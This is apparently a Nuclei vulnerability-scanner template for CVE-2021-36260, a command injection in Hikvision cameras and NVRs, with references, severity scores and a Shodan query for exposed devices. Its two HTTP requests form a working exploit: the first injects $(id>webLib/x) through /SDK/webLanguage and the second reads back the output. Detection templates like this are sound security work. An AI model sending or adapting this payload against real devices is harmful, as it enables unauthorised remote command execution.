52 lines
1.9 KiB
YAML
52 lines
1.9 KiB
YAML
id: CVE-2021-36260
|
|
|
|
info:
|
|
name: Hikvision IP camera/NVR - Remote Command Execution
|
|
author: pdteam,gy741
|
|
severity: critical
|
|
description: Certain Hikvision products contain a command injection vulnerability in the web server due to the insufficient input validation. An attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.
|
|
reference:
|
|
- https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
|
|
- https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-36260
|
|
- https://github.com/Aiminsun/CVE-2021-36260
|
|
- https://therecord.media/experts-warn-of-widespread-exploitation-involving-hikvision-cameras/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-36260
|
|
cwe-id: CWE-78
|
|
epss-score: 0.97512
|
|
cpe: cpe:2.3:o:hikvision:ds-2cd2026g2-iu\/sl_firmware:-:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
shodan-query: http.favicon.hash:999357577
|
|
vendor: hikvision
|
|
product: ds-2cd2026g2-iu\/sl_firmware
|
|
tags: cve,cve2021,hikvision,rce,iot,intrusive,kev
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
PUT /SDK/webLanguage HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
|
|
<?xml version="1.0" encoding="UTF-8"?><language>$(id>webLib/x)</language>
|
|
- |
|
|
GET /x HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
req-condition: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- "contains(body_2,'uid=') && contains(body_2,'gid=')"
|
|
- "status_code_1 == 500 && status_code_2 == 200"
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: regex
|
|
regex:
|
|
- "(u|g)id=.*"
|